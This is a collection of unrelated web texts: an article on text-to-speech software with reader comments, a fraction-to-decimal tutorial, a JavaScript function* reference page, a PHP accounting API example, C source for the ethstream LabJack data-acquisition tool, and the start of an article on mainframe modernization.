Regardless of the purpose of a particular talking computer software program, the function of such software is often the same. These programs are developed with a wealth of voice information, usually pre-recorded words and sounds, which can be assembled by the computer as a string of words or sentences for audio output. This database of voice information is then used by the program to generate speech. Some types of talking computer software are able to generate speech more organically, through computerized voices that do not strictly sound like people but are able to generate a certain amount of inflection and speech variation.
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One of the most common uses of talking computer software is in the development of text-to-talk programs that are able to generate audio output based on user input. This type of program allows someone to type words into a dialogue box or other input region, which are then spoken aloud by the computer program. Someone who is mute or otherwise limited vocally, for example, can use this program to type out text that is spoken by the computer. Other talking computer software can be used by individuals who are blind or have visual impairments, to have information on websites or other computer applications spoken aloud.
There are also developments being made in talking computer software to create more interactive forms of software applications. A talking desktop program, for example, can be used to turn a computer into a virtual assistant with spoken and oratory interfaces. Speech recognition software can be used with this type of talking computer software to allow someone to talk to a program in order to activate different processes, and the program can then talk back in response. This type of software is still being developed, but the potential is there for far more interactive and complete user experiences with software and hardware.
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Discuss this Article
runner101
Post 6
Recently I had a vocal cord polyp removed, and I was supposed to rest my voice for a few days to let my vocal cord heal.
Vocal rest was one of the hardest things I have ever had to do.
One of the things I tried to play with to "talk" when I wasn't supposed to talk was a text to speech app on my friend's Ipad.
While it was funny when I typed and spoke funny statements that were made even funnier by the timing and pronunciation of the talking Ipad app, it would have been hard to take part in more serious conversations.
Also I usually ended up having to show the person I
was talking to the text secondary to it being difficult to understand or not being loud enough in a crowd (and by crowd I mean 6 people).
As far as taking part in serious conversations it was better to write what I wanted to say because my handwriting conveyed some of the emotion that went with the statement.
gravois
Post 5
I feel like computer voices always sound awkward, so awkward that they are almost hard to understand. The rhythm of the speech is always off. It sounds like words being pulled out of a hat rather than coming out of a throat.
The voice is also usually weird. Either it is too computery sounding or it has some kind of strange accent. I'm not sure why software developers seem to struggle with this so much, but if we are ever going to pay attention to the things that computers say they are going to have to get better at designing their voices.
jonrss
Post 4
I could see there being lots of applications for talking computer software when people are trying to use languages. being able to hear the way another language sounds, especially when it is paired with images and situations which gives it context, is crucial for gaining fluency in any language. It you can hear the inflections, cadences and tones of a new language it sticks in your brain so much deeper than just seeing it on a page.
whiteplane
Post 3
I think we may be reaching the point where talking computer software will be irrelevant. I suppose it probably has some applications, but you watch sci-fi movies and you get the sense that all computers will talk. They are probably off the mark.
Think about how you use the internet. You probably have multiple tabs open, maybe in multiple windows. You are probably running several programs at once. There is lots of information going in and out of your computer at once and there are lots of great tools for managing this stream. I think if a voice was involved, no matter what it said, it would probably just be a distraction. Whatever it was telling you you could figure out on your own faster.
cupcake15
Post 2
@GreenWeaver- That sounds like a great idea. I have tried using dictation software with my computer, but I can never seem to get it to work the right way. Sometimes it skips words that I have said and other times it types a word that sounds like what I said but it is not the right word.
The problem with this type of software lies in the articulation of the word. Sometimes the computer takes a while to get used to your speech patterns. You have to over enunciate the word in order for the computer to get it right. If you pronounce the word car as ca, the computer might type call instead of car. I know that there are people that swear by this software which is why I tried it, but for me it didn’t work well.
GreenWeaver
Post 1
I think that this type of software program is great for kids in an educational setting. For example, my daughter uses spelling software in which she has to verbally tell the computer what her spelling words are and then the computer asks her to spell the words.
This way she gets to study for her spelling test on her own. She has to type the spelling words whenever the computer says the word. I have also used this type of software for my kids when they were learning to read.
I have software that would highlight the sound of a word in different games that would allow my kids a chance to learn the phonetic sound. After a
while the software would offer sentences and then paragraphs.
If they forgot how to read a word they could click on it and the computer would sound out the word for them. They really loved it and it was a fun way for them to have their phonics lessons reinforced like that.
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What is 1 3/290 as a decimal?
It's very common when learning about fractions to want to know how convert a mixed fraction like 1 3/290 into a decimal. In this step-by-step guide, we'll show you how to turn any fraction into a decimal really easily. Let's take a look!
Before we get started in the fraction to decimal conversion, let's go over some very quick fraction basics. Remember that a numerator is the number above the fraction line, and the denominator is the number below the fraction line. We'll use this later in the tutorial.
When we are using mixed fractions, we have a whole number (in this case 1) and a fractional part (3/290). So what we can do here to convert the mixed fraction to a decimal, is first convert it to an improper fraction (where the numerator is greater than the denominator) and then from there convert the improper fraction into a decimal/
Step 1: Multiply the whole number by the denominator
1 x 290 = 290
Step 2: Add the result of step 1 to the numerator
290 + 3 = 293
Step 3: Divide the result of step 2 by the denominator
293 ÷ 290 = 1.0103448275862
So the answer is that 1 3/290 as a decimal is 1.0103448275862.
And that is is all there is to converting 1 3/290 to a decimal. We convert it to an improper fraction which, in this case, is 293/290 and then we divide the new numerator (293) by the denominator to get our answer.
If you want to practice, grab yourself a pen, a pad, and a calculator and try to convert a few mixed fractions to a decimal yourself.
Hopefully this tutorial has helped you to understand how to convert a fraction to a decimal and made you realize just how simple it actually is. You can now go forth and convert mixed fractions to decimal as much as your little heart desires!
Cite, Link, or Reference This Page
If you found this content useful in your research, please do us a great favor and use the tool below to make sure you properly reference us wherever you use it. We really appreciate your support!
• "What is 1 3/290 as a decimal?". VisualFractions.com. Accessed on September 28, 2023. http://visualfractions.com/calculator/mixed-to-decimal/what-is-1-3-290-as-a-decimal/.
• "What is 1 3/290 as a decimal?". VisualFractions.com, http://visualfractions.com/calculator/mixed-to-decimal/what-is-1-3-290-as-a-decimal/. Accessed 28 September, 2023.
• What is 1 3/290 as a decimal?. VisualFractions.com. Retrieved from http://visualfractions.com/calculator/mixed-to-decimal/what-is-1-3-290-as-a-decimal/.
Mixed Fraction to Decimal Calculator
Mixed Fraction as Decimal
Enter a whole number, numerator and denominator
Random Mixed Fraction to Decimal Calculation
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Naši dobrovolníci ještě tento článek do jazyka Čeština nepřeložili. Přidejte se a pomozte nám tuto práci dokončit!
Tento článek si můžete přečíst také v jazyce English (US).
The function* keyword can be used to define a generator function inside an expression.
Syntax
function* [name]([param1[, param2[, ..., paramN]]]) {
statements
}
Parameters
name
The function name. Can be omitted, in which case the function is anonymous. The name is only local to the function body.
paramN
The name of an argument to be passed to the function. A function can have up to 255 arguments.
statements
The statements which comprise the body of the function.
Description
A function* expression is very similar to and has almost the same syntax as a function* statement. The main difference between a function* expression and a function* statement is the function name, which can be omitted in function* expressions to create anonymous generator functions. See also the chapter about functions for more information.
Examples
The following example defines an unnamed generator function and assigns it to x. The function yields the square of its argument:
var x = function*(y) {
yield y * y;
};
Specifications
Specification Status Comment
ECMAScript 2015 (6th Edition, ECMA-262)
The definition of 'function*' in that specification.
Standard Initial definition.
ECMAScript Latest Draft (ECMA-262)
The definition of 'function*' in that specification.
Living Standard
Browser compatibility
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
Basic support Yes Yes26 No Yes10
Trailing comma in parameters ? ?52 ? ? ?
FeatureAndroid webviewChrome for AndroidEdge mobileFirefox for AndroidIE mobileOpera AndroidiOS Safari
Basic support Yes Yes Yes26 No Yes10
Trailing comma in parameters ? ? ?52 ? ? ?
See also
Štítky a přispěvatelé do dokumentace
Přispěvatelé této stránky: fscholz, Qqwy, jameshkramer, arai, XMO, kdex, imconfig
Poslední aktualizace od: fscholz,
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EcritureService :: GetEcrituresByTiers
The POST method, is used to retrieve data.
The list of necessary parameters for sending a query:
• string numeroTiers.
The list of parameters is not mandatory to request:
• Periode periode,
• List<Order> orders
• int pageNumber
• int rowsPerPage
Returns data as JSON, for use in PHP, you need to convert JSON in StdClass PHP (PHP function: json_decode ()).
Input parameters:
{"numeroTiers":"ECLAT","periode":{"Debut":"/Date(1354741200000+0100)/","Fin":"/Date(1427745600000+0100)/","EstCloturee":true},"orders":[{"Id":"Desc"}],"pageNumber":0,"rowsPerPage":0}
Example:
require (__DIR__ . '/service/WebServices100.php');
use services\WebServices100;
// add parameters
$data = new stdClass();
$data->numeroTiers = "ECLAT";
$data->periode = new stdClass();
$dateDebut = new DateTime("2013-01-01");
$dateFin = new DateTime("2013-12-31");
$data->periode->Debut = '/Date('.$dateDebut.'000+0300)/';
$data->periode->Fin = '/Date('.$dateFin.'000+0400)/';
$data->periode->EstCloturee = true;
$orders = new stdClass();
$orders->Id = 'Desc';
$data->orders[] = $orders;
$data->pageNumber = 0;
$data->rowsPerPage = 0;
$json_data = json_encode($data, JSON_UNESCAPED_SLASHES);
$url = 'http://<Your ip>:<Your Port>/WebServices100/<Your environment>/EcritureService/rest/GetEcrituresByTiers';
// Send requests to receive data
$result = WebServices100::getData($url, $json_data);
$response = json_decode($result);
Result:
Array
(
[0] => stdClass Object
(
[Id] => 152
[CodeJournal] => ACH
[NumeroPiece] => 0000303
[DateEcriture] => /Date(1426366800000+0300)/
[DateSaisie] => /Date(1354741200000+0300)/
[DateEcheance] => /Date(1431547200000+0400)/
[NumeroFacture] => EC5499
[Reference] => KLJKJ001
[Intitule] => Facture n° EC5499
[CompteGeneral] => 4010000
[CompteGeneralContrepartie] =>
[NumeroTiers] => ECLAT
[NumeroTiersContrepartie] =>
[Montant] => 18431.81
[Sens] => 1
[Parite] => 0
[MontantDevise] => 0
[IdDevise] => 0
[CodeTaxe] =>
[IdReglement] => 4
[EstLettree] =>
[Lettre] =>
[InfosLibres] => Array
(
[0] => stdClass Object
(
[Name] => Controle date echeance
[Type] => 3
[Size] => 0
[EstCalculee] => 1
[Value] =>
)
)
)
[1] => stdClass Object
(
[Id] => 59
[CodeJournal] => ACH
[NumeroPiece] => 0000301
[DateEcriture] => /Date(1421787600000+0300)/
[DateSaisie] => /Date(1354741200000+0300)/
[DateEcheance] => /Date(1426971600000+0300)/
[NumeroFacture] => EC5487
[Reference] => LKP001
[Intitule] => Facture n° EC5487
[CompteGeneral] => 4010000
[CompteGeneralContrepartie] =>
[NumeroTiers] => ECLAT
[NumeroTiersContrepartie] =>
[Montant] => 1824.67
[Sens] => 1
[Parite] => 0
[MontantDevise] => 0
[IdDevise] => 0
[CodeTaxe] =>
[IdReglement] => 4
[EstLettree] =>
[Lettre] =>
[InfosLibres] => Array
(
[0] => stdClass Object
(
[Name] => Controle date echeance
[Type] => 3
[Size] => 0
[EstCalculee] => 1
[Value] =>
)
)
)
)
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| 0.840678 |
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
729 lines
18 KiB
1. /*
2. * Labjack Tools
3. * Copyright (c) 2003-2007 Jim Paris <[email protected]>
4. *
5. * This is free software; you can redistribute it and/or modify it and
6. * it is provided under the terms of version 2 of the GNU General Public
7. * License as published by the Free Software Foundation; see COPYING.
8. */
9. #include <stdint.h>
10. #include <stdlib.h>
11. #include <stdio.h>
12. #include <string.h>
13. #include <errno.h>
14. #include <sys/time.h>
15. #include <time.h>
16. #include <sys/stat.h>
17. #include <signal.h>
18. #include <unistd.h>
19. #include "debug.h"
20. #include "ue9.h"
21. #include "ue9error.h"
22. #include "nerdjack.h"
23. #include "opt.h"
24. #include "version.h"
25. #include "compat.h"
26. #include "ethstream.h"
27. #include "example.inc"
28. #define DEFAULT_HOST "192.168.1.209"
29. #define UE9_COMMAND_PORT 52360
30. #define UE9_DATA_PORT 52361
31. #define MAX_CHANNELS 256
32. struct callbackInfo {
33. struct ue9Calibration calib;
34. int convert;
35. int maxlines;
36. };
37. struct options opt[] = {
38. {'a', "address", "string", "host/address of device (192.168.1.209)"},
39. {'n', "numchannels", "n", "sample the first N ADC channels (2)"},
40. {'C', "channels", "a,b,c", "sample channels a, b, and c"},
41. {'r', "rate", "hz", "sample each channel at this rate (8000.0)"},
42. {'L', "labjack", NULL, "Force LabJack device"},
43. {'t', "timers", "a,b,c", "set LabJack timer modes to a, b, and c"},
44. {'T', "timerdivisor", "n", "set LabJack timer divisor to n"},
45. {'N', "nerdjack", NULL, "Force NerdJack device"},
46. {'d', "detect", NULL, "Detect NerdJack IP address"},
47. {'R', "range", "a,b",
48. "Set range on NerdJack for channels 0-5,6-11 to either 5 or 10 (10,10)"},
49. {'o', "oneshot", NULL, "don't retry in case of errors"},
50. {'f', "forceretry", NULL, "retry no matter what happens"},
51. {'c', "convert", NULL, "convert output to volts"},
52. {'H', "converthex", NULL, "convert output to hex"},
53. {'m', "showmem", NULL, "output memory stats with data (NJ only)"},
54. {'l', "lines", "num", "if set, output this many lines and quit"},
55. {'h', "help", NULL, "this help"},
56. {'v', "verbose", NULL, "be verbose"},
57. {'V', "version", NULL, "show version number and exit"},
58. {'i', "info", NULL, "get info from device (NJ only)"},
59. {'X', "examples", NULL, "show ethstream examples and exit"},
60. {0, NULL, NULL, NULL}
61. };
62. int doStream(const char *address, uint8_t scanconfig, uint16_t scaninterval,
63. int *channel_list, int channel_count,
64. int *timer_mode_list, int timer_mode_count, int timer_divisor,
65. int convert, int maxlines);
66. int nerdDoStream(const char *address, int *channel_list, int channel_count,
67. int precision, unsigned long period, int convert, int lines,
68. int showmem);
69. int data_callback(int channels, uint16_t * data, void *context);
70. int columns_left = 0;
71. void handle_sig(int sig)
72. {
73. while (columns_left--) {
74. printf(" 0");
75. }
76. fflush(stdout);
77. exit(0);
78. }
79. int main(int argc, char *argv[])
80. {
81. int optind;
82. char *optarg, *endp;
83. char c;
84. int tmp, i;
85. FILE *help = stderr;
86. char *address = strdup(DEFAULT_HOST);
87. double desired_rate = 8000.0;
88. int lines = 0;
89. double actual_rate;
90. int oneshot = 0;
91. int forceretry = 0;
92. int convert = CONVERT_DEC;
93. int showmem = 0;
94. int inform = 0;
95. uint8_t scanconfig;
96. uint16_t scaninterval;
97. int timer_mode_list[UE9_TIMERS];
98. int timer_mode_count = 0;
99. int timer_divisor = 1;
100. int channel_list[MAX_CHANNELS];
101. int channel_count = 0;
102. int nerdjack = 0;
103. int labjack = 0;
104. int detect = 0;
105. int precision = 0;
106. int addressSpecified = 0;
107. int donerdjack = 0;
108. unsigned long period = NERDJACK_CLOCK_RATE / desired_rate;
109. /* Parse arguments */
110. opt_init(&optind);
111. while ((c = opt_parse(argc, argv, &optind, &optarg, opt)) != 0) {
112. switch (c) {
113. case 'a':
114. free(address);
115. address = strdup(optarg);
116. addressSpecified = 1;
117. break;
118. case 'n':
119. channel_count = 0;
120. tmp = strtol(optarg, &endp, 0);
121. if (*endp || tmp < 1 || tmp > MAX_CHANNELS) {
122. info("bad number of channels: %s\n", optarg);
123. goto printhelp;
124. }
125. for (i = 0; i < tmp; i++)
126. channel_list[channel_count++] = i;
127. break;
128. case 'C':
129. channel_count = 0;
130. do {
131. tmp = strtol(optarg, &endp, 0);
132. if (*endp != '\0' && *endp != ',') {
133. info("bad channel number: %s\n",
134. optarg);
135. goto printhelp;
136. }
137. //We do not want to overflow channel_list, so we need the check here
138. //The rest of the sanity checking can come later after we know
139. //whether this is a
140. //LabJack or a NerdJack
141. if (channel_count >= MAX_CHANNELS) {
142. info("error: too many channels specified\n");
143. goto printhelp;
144. }
145. channel_list[channel_count++] = tmp;
146. optarg = endp + 1;
147. }
148. while (*endp);
149. break;
150. case 't': /* labjack only */
151. timer_mode_count = 0;
152. do {
153. tmp = strtol(optarg, &endp, 0);
154. if (*endp != '\0' && *endp != ',') {
155. info("bad timer mode: %s\n", optarg);
156. goto printhelp;
157. }
158. if (timer_mode_count >= UE9_TIMERS) {
159. info("error: too many timers specified\n");
160. goto printhelp;
161. }
162. timer_mode_list[timer_mode_count++] = tmp;
163. optarg = endp + 1;
164. }
165. while (*endp);
166. break;
167. case 'T': /* labjack only */
168. timer_divisor = strtod(optarg, &endp);
169. if (*endp || timer_divisor < 0 || timer_divisor > 255) {
170. info("bad timer divisor: %s\n", optarg);
171. goto printhelp;
172. }
173. break;
174. case 'r':
175. desired_rate = strtod(optarg, &endp);
176. if (*endp || desired_rate <= 0) {
177. info("bad rate: %s\n", optarg);
178. goto printhelp;
179. }
180. break;
181. case 'l':
182. lines = strtol(optarg, &endp, 0);
183. if (*endp || lines <= 0) {
184. info("bad number of lines: %s\n", optarg);
185. goto printhelp;
186. }
187. break;
188. case 'R':
189. tmp = strtol(optarg, &endp, 0);
190. if (*endp != ',') {
191. info("bad range number: %s\n", optarg);
192. goto printhelp;
193. }
194. if (tmp != 5 && tmp != 10) {
195. info("valid choices for range are 5 or 10\n");
196. goto printhelp;
197. }
198. if (tmp == 5)
199. precision = precision + 1;
200. optarg = endp + 1;
201. if (*endp == '\0') {
202. info("Range needs two numbers, one for channels 0-5 and another for 6-11\n");
203. goto printhelp;
204. }
205. tmp = strtol(optarg, &endp, 0);
206. if (*endp != '\0') {
207. info("Range needs only two numbers, one for channels 0-5 and another for 6-11\n");
208. goto printhelp;
209. }
210. if (tmp != 5 && tmp != 10) {
211. info("valid choices for range are 5 or 10\n");
212. goto printhelp;
213. }
214. if (tmp == 5)
215. precision = precision + 2;
216. break;
217. case 'N':
218. nerdjack++;
219. break;
220. case 'L':
221. labjack++;
222. break;
223. case 'd':
224. detect++;
225. break;
226. case 'o':
227. oneshot++;
228. break;
229. case 'f':
230. forceretry++;
231. break;
232. case 'c':
233. if (convert != 0) {
234. info("specify only one conversion type\n");
235. goto printhelp;
236. }
237. convert = CONVERT_VOLTS;
238. break;
239. case 'H':
240. if (convert != 0) {
241. info("specify only one conversion type\n");
242. goto printhelp;
243. }
244. convert = CONVERT_HEX;
245. break;
246. case 'm':
247. showmem++;
248. case 'v':
249. verb_count++;
250. break;
251. case 'X':
252. printf("%s", examplestring);
253. return 0;
254. break;
255. case 'V':
256. printf("etherstream " VERSION "\n");
257. printf("Written by Jim Paris <[email protected]>\n");
258. printf("and Zachary Clifford <[email protected]>.\n");
259. printf("This program comes with no warranty and is "
260. "provided under the GPLv2.\n");
261. return 0;
262. break;
263. case 'i':
264. inform++;
265. break;
266. case 'h':
267. help = stdout;
268. default:
269. printhelp:
270. fprintf(help, "Usage: %s [options]\n", *argv);
271. opt_help(opt, help);
272. fprintf(help, "Read data from the specified Labjack UE9"
273. " via Ethernet. See README for details.\n");
274. return (help == stdout) ? 0 : 1;
275. }
276. }
277. if (detect && labjack) {
278. info("The LabJack does not support autodetection\n");
279. goto printhelp;
280. }
281. if (detect && !nerdjack) {
282. info("Only the NerdJack supports autodetection - assuming -N option\n");
283. nerdjack = 1;
284. }
285. if (detect && addressSpecified) {
286. info("Autodetection and specifying address are mutually exclusive\n");
287. goto printhelp;
288. }
289. if (nerdjack && labjack) {
290. info("Nerdjack and Labjack options are mutually exclusive\n");
291. goto printhelp;
292. }
293. donerdjack = nerdjack;
294. //First if no options were supplied try the Nerdjack
295. //The second time through, donerdjack will be true and this will not fire
296. if (!nerdjack && !labjack) {
297. info("No device specified...Defaulting to Nerdjack\n");
298. donerdjack = 1;
299. }
300. doneparse:
301. if (inform) {
302. //We just want information from NerdJack
303. if (!detect) {
304. if (nerd_get_version(address) < 0) {
305. info("Could not find NerdJack at specified address\n");
306. } else {
307. return 0;
308. }
309. }
310. info("Autodetecting NerdJack address\n");
311. free(address);
312. if (nerdjack_detect(address) < 0) {
313. info("Error with autodetection\n");
314. goto printhelp;
315. } else {
316. info("Found NerdJack at address: %s\n", address);
317. if (nerd_get_version(address) < 0) {
318. info("Error getting NerdJack version\n");
319. goto printhelp;
320. }
321. return 0;
322. }
323. }
324. if (donerdjack) {
325. if (channel_count > NERDJACK_CHANNELS) {
326. info("Too many channels for NerdJack\n");
327. goto printhelp;
328. }
329. for (i = 0; i < channel_count; i++) {
330. if (channel_list[i] >= NERDJACK_CHANNELS) {
331. info("Channel is out of NerdJack range: %d\n",
332. channel_list[i]);
333. goto printhelp;
334. }
335. }
336. } else {
337. if (channel_count > UE9_MAX_CHANNEL_COUNT) {
338. info("Too many channels for LabJack\n");
339. goto printhelp;
340. }
341. for (i = 0; i < channel_count; i++) {
342. if (channel_list[i] > UE9_MAX_CHANNEL) {
343. info("Channel is out of LabJack range: %d\n",
344. channel_list[i]);
345. goto printhelp;
346. }
347. }
348. }
349. /* Timer requires Labjack */
350. if (timer_mode_count && !labjack) {
351. info("Can't use timers on NerdJack\n");
352. goto printhelp;
353. }
354. if (optind < argc) {
355. info("error: too many arguments (%s)\n\n", argv[optind]);
356. goto printhelp;
357. }
358. if (forceretry && oneshot) {
359. info("forceretry and oneshot options are mutually exclusive\n");
360. goto printhelp;
361. }
362. /* Two channels if none specified */
363. if (channel_count == 0) {
364. channel_list[channel_count++] = 0;
365. channel_list[channel_count++] = 1;
366. }
367. if (verb_count) {
368. info("Scanning channels:");
369. for (i = 0; i < channel_count; i++)
370. info(" AIN%d", channel_list[i]);
371. info("\n");
372. }
373. /* Figure out actual rate. */
374. if (donerdjack) {
375. if (nerdjack_choose_scan(desired_rate, &actual_rate, &period) <
376. 0) {
377. info("error: can't achieve requested scan rate (%lf Hz)\n", desired_rate);
378. }
379. } else {
380. if (ue9_choose_scan(desired_rate, &actual_rate,
381. &scanconfig, &scaninterval) < 0) {
382. info("error: can't achieve requested scan rate (%lf Hz)\n", desired_rate);
383. }
384. }
385. if ((desired_rate != actual_rate) || verb_count) {
386. info("Actual scanrate is %lf Hz\n", actual_rate);
387. info("Period is %ld\n", period);
388. }
389. if (verb_count && lines) {
390. info("Stopping capture after %d lines\n", lines);
391. }
392. signal(SIGINT, handle_sig);
393. signal(SIGTERM, handle_sig);
394. if (detect) {
395. info("Autodetecting NerdJack address\n");
396. free(address);
397. if (nerdjack_detect(address) < 0) {
398. info("Error with autodetection\n");
399. goto printhelp;
400. } else {
401. info("Found NerdJack at address: %s\n", address);
402. }
403. }
404. for (;;) {
405. int ret;
406. if (donerdjack) {
407. ret =
408. nerdDoStream(address, channel_list, channel_count,
409. precision, period, convert, lines,
410. showmem);
411. verb("nerdDoStream returned %d\n", ret);
412. } else {
413. ret = doStream(address, scanconfig, scaninterval,
414. channel_list, channel_count,
415. timer_mode_list, timer_mode_count, timer_divisor,
416. convert, lines);
417. verb("doStream returned %d\n", ret);
418. }
419. if (oneshot)
420. break;
421. if (ret == 0)
422. break;
423. //Neither options specified at command line and first time through.
424. //Try LabJack
425. if (ret == -ENOTCONN && donerdjack && !labjack && !nerdjack) {
426. info("Could not connect NerdJack...Trying LabJack\n");
427. donerdjack = 0;
428. goto doneparse;
429. }
430. //Neither option supplied, no address, and second time through.
431. //Try autodetection
432. if (ret == -ENOTCONN && !donerdjack && !labjack && !nerdjack
433. && !addressSpecified) {
434. info("Could not connect LabJack...Trying to autodetect Nerdjack\n");
435. detect = 1;
436. donerdjack = 1;
437. goto doneparse;
438. }
439. if (ret == -ENOTCONN && nerdjack && !detect
440. && !addressSpecified) {
441. info("Could not reach NerdJack...Trying to autodetect\n");
442. detect = 1;
443. goto doneparse;
444. }
445. if (ret == -ENOTCONN && !forceretry) {
446. info("Initial connection failed, giving up\n");
447. break;
448. }
449. if (ret == -EAGAIN || ret == -ENOTCONN) {
450. /* Some transient error. Wait a tiny bit, then retry */
451. info("Retrying in 5 secs.\n");
452. sleep(5);
453. } else {
454. info("Retrying now.\n");
455. }
456. }
457. debug("Done loop\n");
458. return 0;
459. }
460. int
461. nerdDoStream(const char *address, int *channel_list, int channel_count,
462. int precision, unsigned long period, int convert, int lines,
463. int showmem)
464. {
465. int retval = -EAGAIN;
466. int fd_data;
467. static int first_call = 1;
468. static int started = 0;
469. static int wasreset = 0;
470. getPacket command;
471. static unsigned short currentcount = 0;
472. tryagain:
473. //If this is the first time, set up acquisition
474. //Otherwise try to resume the previous one
475. if (started == 0) {
476. if (nerd_generate_command
477. (&command, channel_list, channel_count, precision,
478. period) < 0) {
479. info("Failed to create configuration command\n");
480. goto out;
481. }
482. if (nerd_send_command(address, "STOP", 4) < 0) {
483. if (first_call) {
484. retval = -ENOTCONN;
485. if (verb_count)
486. info("Failed to send STOP command\n");
487. } else {
488. info("Failed to send STOP command\n");
489. }
490. goto out;
491. }
492. if (nerd_send_command(address, &command, sizeof(command)) < 0) {
493. info("Failed to send GET command\n");
494. goto out;
495. }
496. } else {
497. //If we had a transmission in progress, send a command to resume from there
498. char cmdbuf[10];
499. sprintf(cmdbuf, "SETC%05hd", currentcount);
500. retval = nerd_send_command(address, cmdbuf, strlen(cmdbuf));
501. if (retval == -4) {
502. info("NerdJack was reset\n");
503. //Assume we have not started yet, reset on this side.
504. //If this routine is retried, start over
505. printf("# NerdJack was reset here\n");
506. currentcount = 0;
507. started = 0;
508. wasreset = 1;
509. goto tryagain;
510. } else if (retval < 0) {
511. info("Failed to send SETC command\n");
512. goto out;
513. }
514. }
515. //The transmission has begun
516. started = 1;
517. /* Open connection */
518. fd_data = nerd_open(address, NERDJACK_DATA_PORT);
519. if (fd_data < 0) {
520. info("Connect failed: %s:%d\n", address, NERDJACK_DATA_PORT);
521. goto out;
522. }
523. retval = nerd_data_stream
524. (fd_data, channel_count, channel_list, precision, convert, lines,
525. showmem, ¤tcount, period, wasreset);
526. wasreset = 0;
527. if (retval == -3) {
528. retval = 0;
529. }
530. if (retval < 0) {
531. info("Failed to open data stream\n");
532. goto out1;
533. }
534. info("Stream finished\n");
535. retval = 0;
536. out1:
537. nerd_close_conn(fd_data);
538. out:
539. //We've tried communicating, so this is not the first call anymore
540. first_call = 0;
541. return retval;
542. }
543. int
544. doStream(const char *address, uint8_t scanconfig, uint16_t scaninterval,
545. int *channel_list, int channel_count,
546. int *timer_mode_list, int timer_mode_count, int timer_divisor,
547. int convert, int lines)
548. {
549. int retval = -EAGAIN;
550. int fd_cmd, fd_data;
551. int ret;
552. static int first_call = 1;
553. struct callbackInfo ci = {
554. .convert = convert,
555. .maxlines = lines,
556. };
557. /* Open command connection. If this fails, and this is the
558. first attempt, return a different error code so we give up. */
559. fd_cmd = ue9_open(address, UE9_COMMAND_PORT);
560. if (fd_cmd < 0) {
561. info("Connect failed: %s:%d\n", address, UE9_COMMAND_PORT);
562. if (first_call)
563. retval = -ENOTCONN;
564. goto out;
565. }
566. first_call = 0;
567. /* Make sure nothing is left over from a previous stream */
568. if (ue9_stream_stop(fd_cmd) == 0)
569. verb("Stopped previous stream.\n");
570. ue9_buffer_flush(fd_cmd);
571. /* Open data connection */
572. fd_data = ue9_open(address, UE9_DATA_PORT);
573. if (fd_data < 0) {
574. info("Connect failed: %s:%d\n", address, UE9_DATA_PORT);
575. goto out1;
576. }
577. /* Get calibration */
578. if (ue9_get_calibration(fd_cmd, &ci.calib) < 0) {
579. info("Failed to get device calibration\n");
580. goto out2;
581. }
582. /* Set timer configuration */
583. if (timer_mode_count &&
584. ue9_timer_config(fd_cmd, timer_mode_list, timer_mode_count,
585. timer_divisor) < 0) {
586. info("Failed to set timer configuration\n");
587. goto out2;
588. }
589. /* Set stream configuration */
590. if (ue9_streamconfig_simple(fd_cmd, channel_list, channel_count,
591. scanconfig, scaninterval,
592. UE9_BIPOLAR_GAIN1) < 0) {
593. info("Failed to set stream configuration\n");
594. goto out2;
595. }
596. /* Start stream */
597. if (ue9_stream_start(fd_cmd) < 0) {
598. info("Failed to start stream\n");
599. goto out2;
600. }
601. /* Stream data */
602. ret =
603. ue9_stream_data(fd_data, channel_count, data_callback, (void *)&ci);
604. if (ret < 0) {
605. info("Data stream failed with error %d\n", ret);
606. goto out3;
607. }
608. info("Stream finished\n");
609. retval = 0;
610. out3:
611. /* Stop stream and clean up */
612. ue9_stream_stop(fd_cmd);
613. ue9_buffer_flush(fd_cmd);
614. out2:
615. ue9_close(fd_data);
616. out1:
617. ue9_close(fd_cmd);
618. out:
619. return retval;
620. }
621. int data_callback(int channels, uint16_t * data, void *context)
622. {
623. int i;
624. struct callbackInfo *ci = (struct callbackInfo *)context;
625. static int lines = 0;
626. columns_left = channels;
627. for (i = 0; i < channels; i++) {
628. switch (ci->convert) {
629. case CONVERT_VOLTS:
630. if (printf
631. ("%lf",
632. ue9_binary_to_analog(&ci->calib, UE9_BIPOLAR_GAIN1,
633. 12, data[i])) < 0)
634. goto bad;
635. break;
636. case CONVERT_HEX:
637. if (printf("%04X", data[i]) < 0)
638. goto bad;
639. break;
640. default:
641. case CONVERT_DEC:
642. if (printf("%d", data[i]) < 0)
643. goto bad;
644. break;
645. }
646. columns_left--;
647. if (i < (channels - 1)) {
648. if (ci->convert != CONVERT_HEX && putchar(' ') < 0)
649. goto bad;
650. } else {
651. if (putchar('\n') < 0)
652. goto bad;
653. lines++;
654. if (ci->maxlines && lines >= ci->maxlines)
655. return -1;
656. }
657. }
658. return 0;
659. bad:
660. info("Output error (disk full?)\n");
661. return -3;
662. }
|
__label__pos
| 0.999785 |
Digital Themes
Mainframe Modernization
What is Mainframe Modernization?
Mainframe Modernization refers to the process of upgrading and adapting your current or legacy mainframe systems, in lieu of complete replacement or operating with outdated mainframe applications. While mainframe technology infrastructure may be outdated, but it is still heavily relied upon in many industries. These extensive computers house massive amounts of data and therefore cannot be easily migrated or updated to adapt to changing business practices and digital innovation.
Mainframes continue to run foundational business applications, but continuing a business-as-usual operation of these mainframes is not cost-effective or sustainable. Additionally, skilled programmers needed to update and maintain mainframe code are beginning to retire. Mainframe programming languages are not as popular with developers as more modern languages. With the onslaught of new technology in this digital revolution, proficiency in application modernization and digital transformation is the new normal.
Aging mainframes present several problems, including cost-affecting inefficiencies, legacy applications with hidden code that are impossible to troubleshoot, and overloaded systems impacting performance. Mainframe modernization involves an analysis of what can be migrated or rehosted and identifies any redundant code. Mainframe migration can include any number or combination of solutions, including migrating to the cloud or a multi-cloud system, rehosting on lower-cost platforms, or even rewriting the mainframe applications entirely into new a mainframe environment.
The risk associated with any of these options is a loss of data or functionality. In most cases, migrating or rehosting mainframe applications will allow for more speed and competitive advantage, but certain legacy applications and programming languages cannot be moved. In these instances, it is important to find a solution that maintains the ability to be upgraded and fine-tuned over time, while continuing to be held within its legacy infrastructure.
What are the benefits of Mainframe Modernization?
• Reduce cost of maintenance and operation: The towering infrastructure alone denotes a large cost. The associated costs of housing the mainframe, and monitoring and troubleshooting the colossal computers, can be astronomical. Thus, moving data to cloud-based solutions or removing redundancies eliminates sizeable costs.
